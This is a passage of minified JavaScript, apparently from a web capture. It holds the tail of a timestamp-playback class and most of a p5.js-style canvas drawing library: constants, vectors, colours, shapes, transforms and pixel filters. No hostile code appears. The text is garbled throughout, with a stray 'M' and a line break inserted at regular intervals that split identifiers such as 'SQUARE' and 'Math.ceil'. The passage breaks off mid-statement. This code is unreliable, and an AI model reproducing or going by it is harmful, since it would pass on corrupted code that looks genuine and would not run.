,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
<html><script>function e(e){"use strict";return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100,n.height=100,n.canvas.width=n.width,n.canvas.height=n.height,"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",(function(){document.body.appendChild(n.canvas)}))),y(),n.MAGIC=161533525,n.RGB=0,n.HSV=1,n.HSB=1,n.CHORD=0,n.PIE=1,n.OPEN=2,n.RADIUS=1,n.CORNER=2,n.CORNERS=3,n.ROUND="round",n.SQM
UARE="butt",n.PROJECT="square",n.MITER="miter",n.BEVEL="bevel",n.CLOSE=1,n.BLEND="source-over",n.REMOVE="destination-out",n.ADD="lighter",n.DARKEST="darken",n.LIGHTEST="lighten",n.DIFFERENCE="difference",n.SUBTRACT="subtract",n.EXCLUSION="exclusion",n.MULTIPLY="multiply",n.SCREEN="screen",n.REPLACE="copy",n.OVERLAY="overlay",n.HARD_LIGHT="hard-light",n.SOFT_LIGHT="soft-light",n.DODGE="color-dodge",n.BURN="color-burn",n.NORMAL="normal",n.ITALIC="italic",n.BOLD="bold",n.BOLDITALIC="italic bold",n.CENTER="center",n.LEM
FT="left",n.RIGHT="right",n.TOP="top",n.BOTTOM="bottom",n.BASELINE="alphabetic",n.LANDSCAPE="landscape",n.PORTRAIT="portrait",n.ALT=18,n.BACKSPACE=8,n.CONTROL=17,n.DELETE=46,n.DOWN_ARROW=40,n.ENTER=13,n.ESCAPE=27,n.LEFT_ARROW=37,n.OPTION=18,n.RETURN=13,n.RIGHT_ARROW=39,n.SHIFT=16,n.TAB=9,n.UP_ARROW=38,n.HALF_PI=Math.PI/2,n.PI=Math.PI,n.QUARTER_PI=Math.PI/4,n.TAU=2*Math.PI,n.TWO_PI=2*Math.PI,n.THRESHOLD=1,n.GRAY=2,n.OPAQUE=3,n.INVERT=4,n.POSTERIZE=5,n.DILATE=6,n.ERODE=7,n.BLUR=8,n.ARROW="default",n.CROSS="crosshair"M
,n.HAND="pointer",n.MOVE="move",n.TEXT="text",n.VIDEO={video:!0,audio:!1},n.AUDIO={video:!1,audio:!0},n.SHR3=1,n.LCG=2,n.HARDWARE_FILTERS=!0,n.hint=function(e,t){n[e]=t},n.frameCount=0,n.mouseX=0,n.mouseY=0,n.pmouseX=0,n.pmouseY=0,n.mouseButton=null,n.keyIsPressed=!1,n.mouseIsPressed=!1,n.key=null,n.keyCode=null,n.pixels=null,n.accelerationX=0,n.accelerationY=0,n.accelerationZ=0,n.rotationX=0,n.rotationY=0,n.rotationZ=0,n.relRotationX=0,n.relRotationY=0,n.relRotationZ=0,n.pAccelerationX=0,n.pAccelerationY=0,n.pAcceM
lerationZ=0,n.pRotationX=0,n.pRotationY=0,n.pRotationZ=0,n.pRelRotationX=0,n.pRelRotationY=0,n.pRelRotationZ=0,n.touches=[],n._styleCache=[{colorMode:n.RGB,noStroke:!1,noFill:!1,ellipseMode:n.CENTER,rectMode:n.CORNER,curveDetail:20,curveAlpha:0,textFont:"sans-serif",textSize:12,textLeading:12,textStyle:"normal"}],n._style=n._styleCache[n._styleCache.length-1],n._noLoop=!1,n._pixelDensity=1,n._frameRate=null,n._tint=null;let r=null,a=!0,i=[],l=null,s=0,u={},c=0,h=null,f=null,d=null;Object.defineProperty(n,"deviceOriM
entation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}}),Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}}),Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}}),Object.defineProperty(n,"drawingContext",{get:function(){return o}}),n.createCanvas=function(e,t){return n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,y(),n.canvas},n.resizeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t},nM
.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o},n.pixelDensity=function(e){return null==e||(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),y()),n._pixelDensity},n.map=function(e,t,n,o,r,a){let i=o+1*(e-t)/(n-t)*(r-o);return a?o<r?Math.min(Math.max(i,o),r):Math.min(Math.max(i,r),o):i},n.lerp=function(eM
,t,n){return e*(1-n)+t*n},n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)},n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])},n.norm=function(e,t,o){return n.map(e,t,o,0,1)},n.sq=function(e){return e*e},n.fract=function(e){return e-Math.floor(e)},n.degrees=function(e){return 180*e/Math.PI},n.radians=function(e){return e*Math.PI/180},n.abs=Math.abs,n.ceil=MM
ath.ceil,n.exp=Math.exp,n.floor=Math.floor,n.log=Math.log,n.mag=Math.hypot,n.max=Math.max,n.min=Math.min,n.round=Math.round,n.sqrt=Math.sqrt,n.sin=Math.sin,n.cos=Math.cos,n.tan=Math.tan,n.asin=Math.asin,n.acos=Math.acos,n.atan=Math.atan,n.atan2=Math.atan2,n.Vector=function(e,t,o){let r=this;r.x=e||0,r.y=t||0,r.z=o||0;let a=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function s(){null==i&&(i=r.x*r.x+r.y*r.y+r.z*r.z,a=Math.sqrt(i))}function u(){i=null,a=null}r.set=function(M
e,t,n){r.x=e||0,r.y=t||0,r.z=n||0},r.copy=function(){return new n.Vector(r.x,r.y,r.z)},r.add=function(){let e=l.apply(null,arguments);return r.x+=e.x,r.y+=e.y,r.z+=e.z,u(),r},r.rem=function(){let e=l.apply(null,arguments);return r.x%=e.x,r.y%=e.y,r.z%=e.z,u(),r},r.sub=function(){let e=l.apply(null,arguments);return r.x-=e.x,r.y-=e.y,r.z-=e.z,u(),r},r.mult=function(){let e=l.apply(null,arguments);return r.x*=e.x,r.y*=e.y,r.z*=e.z,u(),r},r.div=function(){let e=l.apply(null,arguments);return r.x/=e.x,r.y/=e.y,r.z/=e.zM
,u(),r},r.mag=function(){return s(),a},r.magSq=function(){return s(),i},r.dot=function(){let e=l.apply(null,arguments);return r.x*e.x+r.y*e.y+r.z*e.z},r.dist=function(){let e=l.apply(null,arguments),t=r.x-e.x,n=r.y-e.y,o=r.z-e.z;return Math.sqrt(t*t+n*n+o*o)},r.cross=function(){let e=l.apply(null,arguments),t=r.y*e.z-r.z*e.y,n=r.z*e.x-r.x*e.z,o=r.x*e.y-r.y*e.x;return r.x=t,r.y=n,r.z=o,u(),r},r.normalize=function(){s();let e=a;return r.x/=e,r.y/=e,r.z/=e,a=1,i=1,r},r.limit=function(e){s();if(a>e){let t=e/a;r.x*=t,r.M
y*=t,r.z*=t,a=e,i=e*e}return r},r.setMag=function(e){s();let t=e/a;return r.x*=t,r.y*=t,r.z*=t,a=e,i=e*e,r},r.heading=function(){return Math.atan2(r.y,r.x)},r.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=r.x*t-r.y*n,a=r.x*n+r.y*t;return r.x=o,r.y=a,r},r.angleBetween=function(){let e=l.apply(null,arguments);const t=r.dot(e)/(r.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*Math.sign(r.cross(e).z||1)},r.lerp=function(e,t){return r.x=r.x*(1-t)+e.x*t,r.y=r.y*(1-t)+e.y*t,r.z=r.z*(1-t)+e.z*M
t,u(),r},r.reflect=function(e){return e.normalize(),r.sub(e.mult(2*r.dot(e)))},r.array=function(){return[r.x,r.y,r.z]},r.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-r.x)<t&&Math.abs(e.y-r.y)<t&&Math.abs(e.z-r.z)<t},r.fromAngle=function(e,t){return null==t&&(t=1),a=t,i=t*t,r.x=t*Math.cos(e),r.y=t*Math.sin(e),r.z=0,r},r.fromAngles=function(e,t,n){null==n&&(n=1),a=n,i=n*n;const o=Math.cos(t),l=Math.sin(t),s=Math.cos(e),u=Math.sin(e);return r.x=n*u*l,r.y=-n*s,r.z=n*u*o,r},r.random2M
D=function(){return a=1,i=1,r.fromAngle(Math.random()*Math.PI*2)},r.random3D=function(){return a=1,i=1,r.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},r.toString=function(){return`[${r.x}, ${r.y}, ${r.z}]`}},n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)},n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)},n.Vector.sub=function(e,t){return new n.Vector(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):nM
ew n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)},n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)},n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)},n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.z=e.z*(1-o)+t.z*o)},n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAnglM
es","random2D","random3D"])n.Vector[e]=function(t,o,r){return(new n.Vector)[e](t,o,r)};function p(e,t,n){let o,r,a,i,l,s,u,c,h;if(0==t)return[255*(o=n),255*(r=n),255*(a=n)];switch((i=e)>360&&(i=0),u=n*(1-t),c=n*(1-t*(s=(i/=60)-(l=~~i))),h=n*(1-t*(1-s)),l){case 0:o=n,r=h,a=u;break;case 1:o=c,r=n,a=u;break;case 2:o=u,r=n,a=h;break;case 3:o=u,r=c,a=n;break;case 4:o=h,r=u,a=n;break;default:o=n,r=u,a=c}return[255*o,255*r,255*a]}function y(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}fM
unction m(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function g(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;let c=m(i),h=m(l);o.beginPath();for(let i=0;i<u+1;i++){let l=i/u,s=n.lerp(c,h,l),f=Math.cos(s)*r/2,d=Math.sin(s)*a/2;o[i?"lineTo":"moveTo"](e+f,t+d)}s==n.CHORD?o.closePath():s==n.PIE&&(o.lineTo(e,t),o.closePath()),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function v(e,t,r,a){n._style.noFill&&n._style.noStroke||(o.beginPath(),oM
.ellipse(e,t,r/2,a/2,0,0,2*Math.PI),n._style.noFill||o.fill(),n._style.noStroke||o.stroke())}function M(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;if(null==i)return function(e,t,r,a){n._style.noFill||o.fillRect(e,t,r,a),n._style.noStroke||o.strokeRect(e,t,r,a)}(e,t,r,a);if(null==l)return M(e,t,r,a,i,i,i,i);const c=Math.min(Math.abs(a),Math.abs(r))/2;i=Math.min(c,i),l=Math.min(c,l),u=Math.min(c,u),s=Math.min(c,s),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+r,t,e+r,t+a,l),o.arcTo(e+r,t+a,e,t+a,s),o.arcM
To(e,t+a,e,t,u),o.arcTo(e,t,e+r,t,i),o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function _(){i=[]}n.createVector=function(e,t,o){return new n.Vector(e,t,o)},n.curvePoint=function(e,t,n,o,r){const a=r*r*r,i=r*r;return e*(-.5*a+i-.5*r)+t*(1.5*a-2.5*i+1)+n*(-1.5*a+2*i+.5*r)+o*(.5*a-.5*i)},n.bezierPoint=function(e,t,n,o,r){const a=1-r;return Math.pow(a,3)*e+3*Math.pow(a,2)*r*t+3*a*Math.pow(r,2)*n+Math.pow(r,3)*o},n.curveTangent=function(e,t,n,o,r){const a=r*r;return e*(-3*a/2+2*r-.5)+t*(9*a/2M
-5*r)+n*(-9*a/2+4*r+.5)+o*(3*a/2-r)},n.bezierTangent=function(e,t,n,o,r){const a=1-r;return 3*o*Math.pow(r,2)-3*n*Math.pow(r,2)+6*n*a*r-6*t*a*r+3*t*Math.pow(a,2)-3*e*Math.pow(a,2)},n.Color=function(e,t,n,o){let r=this;r.MAGIC=786698,r._r=e,r._g=t,r._b=n,r._a=o,r._h=0,r._s=0,r._v=0,r._hsvInferred=!1,r.setRed=function(e){r._r=e,r._hsvInferred=!1},r.setGreen=function(e){r._g=e,r._hsvInferred=!1},r.setBlue=function(e){r._b=e,r._hsvInferred=!1},r.setAlpha=function(e){r._a=e/255,r._hsvInferred=!1},r._inferHSV=function(){M
r._hsvInferred||([r._h,r._s,r._v]=function(e,t,n){let o,r,a,i,l;return o=e<t?e<n?e:n:t<n?t:n,0==(l=100*(r=e>t?e>n?e:n:t>n?t:n)/255)?[a=0,i=0,l]:0==(i=100*(r-o)/r)?[a=0,i,l]:(a=r==e?0+60*(t-n)/(r-o):r==t?120+60*(n-e)/(r-o):240+60*(e-t)/(r-o),[a,i,l])}(r._r,r._g,r._b),r._hsvInferred=!0)},r.toString=function(){return`rgba(${Math.round(r._r)},${Math.round(r._g)},${Math.round(r._b)},${~~(1e3*r._a)/1e3})`}},n.colorMode=function(e){n._style.colorMode=e},n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGICM
)return arguments[0];if(n._style.colorMode==n.RGB){if(1==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)retM
urn new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null},n.red=function(e){return e._r},n.green=function(e){return e._g},n.blue=function(e){return e._b},n.alpha=function(e){return 255*e._a},n.hue=function(e){return e._inferHSV(),e._h},n.saturation=function(e){return e._inferHSV(),e._s},n.brightnM
ess=function(e){return e._inferHSV(),e._v},n.lightness=function(e){return 100*(.2126*e._r+.7152*e._g+.0722*e._b)/255},n.lerpColor=function(e,t,o){return n._style.colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var r=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.mapM
(o,0,1,e,t-360)]];return r.sort(((e,t)=>e[0]-t[0])),(r[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))},n.strokeWeight=function(e){n._style_noStroke=!1,o.lineWidth=e},n.stroke=function(){if(n._style.noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noStroke=!0:o.strokeStyle=e},n.noStroke=function(){n._style.noStroke=!0},n.fill=fM
unction(){if(n._style.noFill=!1,"string"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noFill=!0:o.fillStyle=e},n.noFill=function(){n._style.noFill=!0},n.blendMode=function(e){o.globalCompositeOperation=e},n.strokeCap=function(e){o.lineCap=e},n.strokeJoin=function(e){o.lineJoin=e},n.ellipseMode=function(e){n._style.ellipseMode=e},n.rectMode=function(e){n._style.rectMode=e},n.curveDetail=function(e){n._style.curveDetail=e},n.curveAlpha=function(e){n._M
style.curveAlpha=e},n.curveTightness=function(e){n._style.curveAlpha=e},n.clear=function(){o.clearRect(0,0,n.width,n.height)},n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity),o.fillStyle="string"==typeof arguments[0]?arguments[0]:n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.height),o.restore()},n.line=function(e,t,r,a){n._style.noStroke||(o.beginPath(),o.moveTo(e,tM
),o.lineTo(r,a),o.stroke())},n.arc=function(e,t,o,r,a,i,l,s){if(a==i)return n.ellipse(e,t,o,r);null==s&&(s=25),null==l&&(l=n.PIE),n._style.ellipseMode==n.CENTER?g(e,t,o,r,a,i,l,s):n._style.ellipseMode==n.RADIUS?g(e,t,2*o,2*r,a,i,l,s):n._style.ellipseMode==n.CORNER?g(e+o/2,t+r/2,o,r,a,i,l,s):n._style.ellipseMode==n.CORNERS&&g((e+o)/2,(t+r)/2,o-e,r-t,a,i,l,s)},n.ellipse=function(e,t,o,r){null==r&&(r=o),n._style.ellipseMode==n.CENTER?v(e,t,o,r):n._style.ellipseMode==n.RADIUS?v(e,t,2*o,2*r):n._style.ellipseMode==n.CORNM
ER?v(e+o/2,t+r/2,o,r):n._style.ellipseMode==n.CORNERS&&v((e+o)/2,(t+r)/2,o-e,r-t)},n.circle=function(e,t,o){return n.ellipse(e,t,o,o)},n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()},n.rect=function(e,t,o,r,a,i,l,s){n._style.rectMode==n.CENTER?M(e-o/2,t-r/2,o,r,a,i,l,s):n._style.rectMode==n.RADIUS?M(e-o,t-r,2*o,2*r,a,i,l,s):n._style.rectMode==n.CORNER?M(e,t,o,r,a,i,l,s):n._style.rectMode==n.CORNERS&&M(e,t,o-e,r-t,a,i,l,s)},n.square=function(e,t,o,r,a,i,l){returnM
 n.rect(e,t,o,o,r,a,i,l)},n.beginShape=function(){_(),o.beginPath(),a=!0},n.beginContour=function(){o.closePath(),_(),a=!0},n.endContour=function(){_(),a=!0},n.vertex=function(e,t){_(),a?o.moveTo(e,t):o.lineTo(e,t),a=!1},n.bezierVertex=function(e,t,n,r,a,i){_(),o.bezierCurveTo(e,t,n,r,a,i)},n.quadraticVertex=function(e,t,n,r){_(),o.quadraticCurveTo(e,t,n,r)},n.bezier=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,r,a,i,l,s),n.endShape()},n.triangle=function(e,t,o,r,a,i){n.beginShape(),n.verM
tex(e,t),n.vertex(o,r),n.vertex(a,i),n.endShape(n.CLOSE)},n.quad=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.vertex(o,r),n.vertex(a,i),n.vertex(l,s),n.endShape(n.CLOSE)},n.endShape=function(e){_(),e&&o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke(),n._style.noFill&&n._style.noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())},n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let r=function(e,t,n,o,r,a,i,l,s,u){function c(e,t,n,o,r,a){let i=Math.pow(o-t,2)+MathM
.pow(r-n,2);return Math.pow(i,.5*a)+e}let h=[],f=c(0,e,t,n,o,u),d=c(f,n,o,r,a,u),p=c(d,r,a,i,l,u);for(let u=0;u<s;u++){let c=f+u/(s-1)*(d-f),y=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<y.length;e+=2)isNaN(y[e])&&(y[e]=1,y[e+1]=0),isFinite(y[e])||(y[e]>0?(y[e]=1,y[e+1]=0):(y[e]=0,y[e+1]=1));let m=e*y[0]+n*y[1],g=t*y[0]+o*y[1],v=n*y[2]+r*y[3],M=o*y[2]+a*y[3],_=r*y[4]+i*y[5],x=a*y[4]+l*y[5],w=m*y[6]+v*y[7],R=g*y[6]+M*y[7],I=vM
*y[8]+_*y[9],C=M*y[8]+x*y[9],S=w*y[2]+I*y[3],E=R*y[2]+C*y[3];h.push([S,E])}return h}(...i[i.length-4],...i[i.length-3],...i[i.length-2],...i[i.length-1],n._style.curveDetail,n._style.curveAlpha);for(let e=0;e<r.length;e++)a?o.moveTo(...r[e]):o.lineTo(...r[e]),a=!1},n.curve=function(e,t,o,r,a,i,l,s){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,r),n.curveVertex(a,i),n.curveVertex(l,s),n.endShape()},n.translate=function(e,t){o.translate(e,t)},n.rotate=function(e){o.rotate(e)},n.scale=function(e,t){null==t&&(t=e),M
o.scale(e,t)},n.applyMatrix=function(e,t,n,r,a,i){o.transform(e,t,n,r,a,i)},n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)},n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)},n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)},n.pushMatrix=n.push=function(){n._styleCache.push({...n._style}),n._style=n._styleCache[n._styleCache.length-1],o.save()},n.popMatrix=n.pop=function(){n._styleCache.length-1&&(n._styleCache.pop(),n._style=n._styleCache[n._styleCache.length-1],oM
.restore())},n.image=function(e,t,r,a,i,l,s,u,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(M
e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),a?l?(u||(u=h.width),c||(c=h.height),o.drawImage(h,l,s,u,c,t,r,a,i),void d()):(o.drawImage(h,t,r,a,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,r,e.width,e.height):o.drawImage(h,t,r,e.videoWidth,e.videoHeight),void d())},n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data},n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)},n.loadImage=function(e,t){s++;let o=n.createGraphics(100,100M
),r=o.canvas.getContext("2d"),a=new Image;return a.src=e,a.crossOrigin="Anonymous",a.onload=function(){r.canvas.width=a.width,r.canvas.height=a.height,o.width=a.width,o.height=a.height,r.drawImage(a,0,0),s--,t&&t(o)},o};let x={};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClamM
pedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()}x[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}},x[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}},x[n.OPAQUE]=functM
ion(e){for(let t=0;t<e.length;t+=4)e[t+3]=255},x[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[t+2]=255-e[t+2]},x[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n},x[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*rM
;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.max(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.ERODE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*r;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.min(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let r=2*t+1,a=funcM
tion(e){let n=new Float32Array(e),o=.3*t+.8,r=o*o*2;for(let t=0;t<e;t++){let a=t-e/2,i=Math.exp(-a*a/r)/(2.5066282746*o);n[t]=i}return n}(r),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,s=0,u=0,c=0;for(let e=0;e<r;e++){let r=4*(n*i+Math.min(Math.max(o-t+e,0),i-1));l+=d[r]*a[e],s+=d[r+1]*a[e],u+=d[r+2]*a[e],c+=d[r+3]*a[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=s,e[h+2]=u,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let s=0,u=0,c=0,h=0;for(let e=0;e<r;e++){let r=4*(MathM
.min(Math.max(n-t+e,0),l-1)*i+o);s+=d[r]*a[e],u+=d[r+1]*a[e],c+=d[r+2]*a[e],h+=d[r+3]*a[e]}let f=4*(n*i+o);e[f]=s,e[f+1]=u,e[f+2]=c,e[f+3]=h}},n.filter=function(e,t){if(n.HARDWARE_FILTERS&&null!=o.filter)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5),I(`saturate(0%) brightness(${Math.floor(.5/t*100)}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawIM
mage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}},n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,M
0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()},n.get=function(e,t,r,a){if(null!=e&&null==r){let r=o.getImageData(e,t,1,1).data;return new n.Color(r[0],r[1],r[2],r[3]/255)}e=e||0,t=t||0,r=r||n.width,a=a||n.height;let i=n.createGraphics(r,a);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,r*n._pixelDensity,a*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i},n.set=function(e,t,r){if(r.MAGIC==n.MAGICM
){let o=n._tint;return n._tint=null,n.image(r,e,t),void(n._tint=o)}let a=4*(t*n._pixelDensity*o.canvas.width+e*n._pixelDensity);n.pixels[a]=r._r,n.pixels[a+1]=r._g,n.pixels[a+2]=r._b,n.pixels[a+3]=255*r._a},n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransM
